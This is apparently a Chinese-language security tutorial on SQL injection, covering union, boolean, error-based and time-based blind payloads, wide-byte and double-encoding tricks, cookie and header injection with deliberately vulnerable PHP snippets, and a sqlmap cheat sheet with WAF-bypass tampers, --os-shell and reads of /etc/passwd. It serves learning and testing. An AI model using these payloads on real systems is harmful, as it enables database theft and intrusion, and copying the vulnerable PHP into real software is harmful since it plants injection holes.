SQL注入

SQL注入

定义与概念

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。


原理

  • 过滤不严格
  • 恶意用户构造的参数被执行

    当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。


本质

把用户输入的数据当作代码来执行,违背了数据与代码分离原则

关键条件

  • 用户能控制输入的内容
  • Web应用把用户输入的内容带入到数据库中执行

万能密码原理

后台登陆语句为:

1
SELECT * FROM admin WHERE Username = 'user' and Password = 'pass'

由于只要结果不为空就返回真,也就是登陆成功。
因此,输入万能密码or 1=1#
构造后的语句拼接为:

1
SELECT * FROM admin WHERE Username = 'user' or 1=1# and Password = 'pass'

通过注释符#注释后面的语句,在or 1=1的基础结果为真恒成立


注入分类

  1. 根据请求方式不同可分为:
  • GET方式请求注入
  • POST方式请求注入

    差别:是否需要抓包

  1. 根据SQL注入点的参数类型可分为:
  • 整数型注入(int型)
  • 字符型注入(char型)
  1. 根据反馈类型可分为以下常见几种:
  • 基于显错
  • union类型
  • 布尔类型
  • 基于时间
  1. 根据是否回显:
  • 显注:有回显,有报错,通常使用union联合查询
  • 盲注:无回显或只有显示正常页面和不显示页面两种区别,内置结果要么输出,要么不输出,不会输出其他内容

    盲注分为:

    • 布尔型bool
    • 报错型error
    • 时间型time

常用函数

concat()
用于将多个字符串连接成一个字符串

1
SELECT CONCAT('My','S','QL')

group_concat()
group by产生的同一个分组中的值连接起来,返回一个字符串结果

1
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

concat_ws()
第一个参数为分隔符,将从第二个开始的字符拼接起来,并用第一个参数分隔符隔开:

1
concat_ws(separator, str1, str2,...)


注入基本流程

  1. 判断是否有注入

  2. 获取数据库信息

    获取数据库基本信息
    获取数据库名
    获取表名
    获取列名
    获取用户数据

  3. 破解数据

  4. 提升权限

  5. 内网渗透


注入操作

Union注入

  1. 判断是否存在注入
    1
    2
    and 1=1
    and 1=2

都有或都没输出,说明此处不存在注入

  1. 判断有多少列
    使用二分法

    1
    order by n
  2. 判断数据显示点

    1
    union select 1,2,3,N
  3. 查看数据库、用户基本信息

    1
    union select 1,user(),version(),database()
  4. 查询有哪些数据库,获取数据库名

    1
    union select group_concat(schema_name),1 from information_schema.schemata
  5. 查询想要的数据中有哪些表,获取数据库中表名

    1
    union select group_concat(table_name),1 from information_schema.tables where table_schema='dvwa'
  6. 查询想要的数据中有哪些列,获取数据库表中列名

    1
    union select group_concat(column_name),1 from information_schema.columns where table_name='dvwa' and table_name='users'
  7. 得到想要信息:

    1
    union select user,password from dvwa.users

information_schema库中重点关注以下三个表:
schemata tables columns

BOOL型盲注

and or not > = <
返回结果非truefalse
以下均使用二分法

  1. 得到数据库名长度

    1
    2
    and (length(database()))>5
    and (length(database()))=4
  2. 改变n的值依次获取数据库名的十进制ASCII值

    1
    and (ascii(substr(database(),n,1)))>100
  3. 获取数据库表名(先获取表名数量,再获取表名长度)

    1
    2
    3
    and (select count(*) from information_schema.tables where table_schema=database())>5
    and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
    and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100
  4. 获取列名(先获取列名个数,再获取列名长度,最后获取列名)

    1
    and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100
  5. 获取数据

    1
    and (ascii(substr((select password from users limit 0,1)1,1)))=68

盲注之报错注入

原理

盲注:没有明显提示
报错注入:使语句出错,利用语法错误实现目的
必要条件:源代码会输出错误内容,如mysql_error(),还必须运行使用xml模块

常用函数与用法:

其他常用方法补充:十种MySQL报错注入


  1. floor()
    1
    and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询结果至少存在三条才会触发报错,详见floor报错分析


  1. extractvalue()
    1
    2
    3
    extractvalue('hello', ./test.xml);  // 报错最大长度32位
    and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
    and extractvalue('hello',concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,32))) // 优化

若路径出现一些特殊字符如~,触发报错,将包括特殊字符在内的后面内容报出


  1. updatexml()
    1
    and (updatexml(1,concat(0x7e,(select user()),0x7e),1))  // 报错最大长度32位,优化同上

盲注之时间注入

原理

配合其它注入法,如bool注入。
无论是否有结果,sql语句只要执行了,就可根据页面响应时长,判断语句是否被执行

函数

sleep()benchmark()
基本用法:

1
2
select if(1=1,sleep(2),sleep(5))
select if(1=1,benchmark(2000000,md5('a')),benchmark(5000000,md5('a')))

例子:

1
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(1),sleep(5))


宽字节注入

原理

在使用PHP连接MySQL时,当设置set character_set_client=gbk时会导致一个编码转换注入的问题,即宽字节注入。

GBK编码
是对GB2312编码的扩展。采用双字节编码方案,编码范围:
8140~FEFE
编码表

后台使用了过滤函数,如:

addslashes()'"\NULL(NULL字符)进行处理
mysql_real_escape_string() 过滤\x00\n\r\'"\x1a
mysql_escape_string() php5.3已弃用,与完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。


漏洞利用

当存在此漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的\(即%5c)“吃掉”,%df%5c拼接为gbk编码的“運”
例如:

1
2
3
4
5
/1.php?id=1%27 and 1=1%23  # 失败的注入语句
SELECT * FROM news WHERE id='1\' and 1=1#' #过滤后后台实际执行语句

/1.php?id=1%df%27 and 1%23 # 成功的注入语句
SELECT * FROM news WHERE id='1運' and 1#' # 后台实际执行语句


修复方式

若是为了避免宽字节注入的产生,可限定使用mysql_set_charset(GBK)来指定字符集,并且使用mysql_real_escape_string进行转义


二次编码注入

url编码是一种浏览器用来打包表单输入的格式。url编码就是一个字符ascii码的十六进制,前面还需加上%
例如\的ascii码是92,92的十六进制是5c,所以\的url编码就是%5c


原理

Web程序中使用了urldecode()rawurldecode()来解码id参数
提交参数到WebServer时,WebServer会自动解码生成单引号而引发注入

漏洞利用

%25被解码后被转换为%

1
2
/1.php?id=1%2527  // URL中语句
id=1%27 // 实际执行语句,产生单引号成功闭合


HTTP请求头注入

请求头定义

HTTP客户端(例如浏览器),向服务器发送请求时必须指明请求类型(一般为GET或者POST)。如有必要,客户程序还可以选择发送其它请求头。


常见请求头

User-agent 浏览器版本信息

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36

referer 包含一个URL,指明用户从该URL代表的页面出发访问当前请求的页面

https://www.google.co.jp

X-Forwarded-ForXFF,用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

192.168.0.2

Cookie 总是保存在客户端中,一般会以文件的方式存储在硬盘中,我们通过一些插件可以修改Cookie内容

user:admin_12536223782183


常用工具

常用操作http请求头的工具
Burpsuite 抓包修改请求头
Chrome 扩展ModeHeader
FireFox 扩展Header Editor


原理

  • 常见处理user-agent方法:

    user-agent很少会带入到数据库中进行处理,一般被用来判断客户端类型
    例如: PHP使用jenssegers/agent库处理,判断是PC、移动端或者机器

  • 常见处理referer方法:

    referer很少会带入数据库中,它主要功能是用来验证请求来源
    用来防御csrf漏洞

  • 常见处理Cookie方法:

    Cookie主要用来存储用户的认证信息,经常会带入到数据库中进行查询
    在老旧的站点中,会直接将用户信息存储在cookie中,如果使用时直接带入数据库中进行查询,就可能出现SQL注入问题

后端PHP处理Cookie
验证账户信息,为客户端设置Cookie的示例代码:

1
2
3
4
5
6
7
$sql = "SELECT * FROM `users` WHERE `username` = '{$username}'";
$data = mysql_query($sql, $conn) or die(mysql_error());
$userinfo = mysql_fetch_array($data);
if(md5($password) == $userinfo['password']) {
setcookie('usre', $userinfo['username'], time() + 3600);
setcookie('background', $userinfo['background'], time() + 3600);
}

在进行敏感操作时,验证并使用cookie中的用户信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(!isset($_COOKIE['user'])) {
header("Location: login.php");
die();
}

$sql = "SELECT * FROM `messages` WHERE `author` = '{$_COOKIE['user']}';";
$data = mysql_query($sql, $conn) or die(mysql_error());
while ($com = mysql_fetch_array($data)) {
$message = $com['message'];
$title = $com['title'];
$id = $com['id'];
echo "<h3>标题: <a href='index.php?id={$id}'>{$title}</a></h1></h3>";
echo "<a href='del.php?id={$id}'>删除消息</a><br />";
}

Cookie中的用户信息直接带入到数据库中,可以直接进行注入攻击

1
Cookie: user=zs' and 1--|

  • 常见处理X-Forwarded-For方法

    调用函数后,获取结果,直接带入数据库中进行更新操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    if(md5($password) == $userinfo['password']) {
    setcookie('user', $userinfo['username'], time() + 3600);
    setcookie('background', $userinfo['background'], time() + 3600);
    setcookie('lastip', $userinfo['lastip'], time() + 3600);
    $sql = "UPDATE `user` SET `lastip` = '{$realip}' WHERE `username` = '{$username}'";
    mysql_query($sql, $conn) or die(mysql_error());
    header("Location: add.php");
    } else {
    echo '<script language="JavaScript" type="text/javascript">alert("你的用户名或密码错误");</script>'
    }

二阶注入

定义

为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。此时,攻击者可能注入的是一个PAYLOAD,这样就会构成一个SQL查询语句并被执行,这就是所谓的二阶SQL注入。

原理

Second-order SQL injection
当用户提供的数据由应用程序存储并随后以不安全的方式合并到SQL查询中时,会出现二阶SQL注入。要检测漏洞,通常需要在一个位置提交合适的数据,然后使用其他一些以不安全的方式处理数据的应用程序功能

特点

普通注入

  1. 在http后面构造语句,是立即直接生效的
  2. 一次注入很容易被扫描工具扫描到

二阶注入

  1. 先构造语句(有被转义字符的语句)
  2. 我们构造的恶意语句存入数据库
  3. 第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
  4. 二次注入更加难以被发现

利用方式

  1. 攻击者在http请求中提交恶意输入
  2. 恶意输入保存在数据库中
  3. 攻击者提交第二次http请求
  4. 为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句
  5. 若攻击成功,在第二次请求相应中返回结果

代码

1
2
3
4
5
6
7
# reg $uname = addslashes($_POST['uname']);
INSERT INTO `users` (`uname`,`upass`) VALUES ($uname, md5($upass));
# login $uname = addslashes($_POST['uname']);
SELECT * FROM `users` WHERE `uname` = $uname;
# show message $_SESSION['uname'] = $db['uname'];
SELECT * FROM `messages` WHERE 'uname' = '$_SESSION["uname"]';
# uname = admin' and sleep(5); -- l

补充内容

Web漏洞

  • 用户能控制输入的内容
  • Web应用把用户输入的内容带入数据库中执行

sqlmap

常用参数命令

1
2
3
4
sqlmap -u "url" --dbs
sqlmap -u "url" -D 库名 --tables
sqlmap -u "url" -D 库名 -T 表名 --columns
sqlmap -u "url" -D 库名 -T 表名 -C 列名 --dump

常用参数:
-v 显示细节
-r 加载请求包(常用于post注入)
-p 常见于多个注入点时选择注入点,例如头注入:cookie,referer,x-forward-for
--dbms= 选择数据库类型如mysql,mssql等
--cookie= 添加测试目标网站的cookie,适用与登陆后才有注入点的网站
--user-agent=
--proxy=http://127.0.0.1:1080
--threads=线程数(默认是1)
--sql-shell 虚拟出一个sql终端,可以执行sql命令
--os-shell 虚拟出一个系统命令终端,可以执行系统命令

支持的数据库

12种数据库被支持:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、informix、HsqlDB

显示等级(-v 参数)

若需要观察sqlmap对一个点进行了怎样的尝试判断以及读取数据的,可以使用-v参数
共计7个等级,默认为1:

  1. 只显示python错误以及严重的信息
  2. 同时显示基本信息和警告信息(默认)
  3. 同时显示debug信息
  4. 同时显示注入的payload
  5. 同时显示HTTP请求
  6. 同时显示HTTP响应头
  7. 同时显示HTTP相应页面

tamper使用

sqlmap中的tamper自带许多防过滤脚本。通过自带的或自行编写的tamper,可以帮助绕过waf进行自动化攻击。
常见tamper如下:

  • apostrophemask.py
    用utf8代替引号

    1
    2
    ("1 AND '1'='1'")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
  • base64encode.py
    用base64编码替换

    1
    2
    ("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
  • multiplespaces.py
    围绕SQL关键字添加多个空格

    1
    2
    ('1 UNION SELECT foobar')
    '
    1 UNION SELECT foobar'
  • space2plus.py
    +替换空格

    1
    2
    ('SELECT id FROM users')
    '
    SELECT+id+FROM+users'
  • nonrecursivereplacement.py
    双重查询语句。取代predefined SQL关键字with表示 suitable for替代(eg:.replace(“SELECT”,””))filters

    1
    2
    ('1 UNION SELECT 2--')
    '1 UNIOUNIONN SELESELECTCT 2--'
  • space2randomblank.py
    代替空格字符,从可选空白字符的有效集随机选取一个

    1
    2
    ('SELECT id FROM users')
    '
    SELECT%0Did%0DFROM%0Ausers'
  • unionalltounion.py
    替换UNION ALL SELECT UNION SELECT

    1
    2
    ('-1 UNION ALL SELECT')
    '
    -1 UNION SELECT'
  • securesphere.py
    追加特制的字符串

    1
    2
    ('1 AND 1=1')
    "1 AND 1=1 and '0having'='0having'"

读文件

sqlmap读文件需满足以下条件

  1. 读文件权限
  • secure-file-priv(show variables)
  • 目录权限
  • Selinux
  • apparmor
  • 等等
  1. max_allowed_packed
  2. 知道绝对路径

写文件

与读文件条件大同小异
方法

1
2
3
4
5
load_file('c://windows//win.ini')
load_file(0x633A2F2F77696E646F77732F2F77696E2E696E69) # 16进制
load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,47,119,105,110,46,105,110,105)) # 10进制

Sqlmap -u "http://127.0.0.1/1.php?id=1" --file-read "/etc/passwd"

tip:mysql注入一般是获取内容,因为大概率情况不允许读写文件

您的支持是我前进的动力!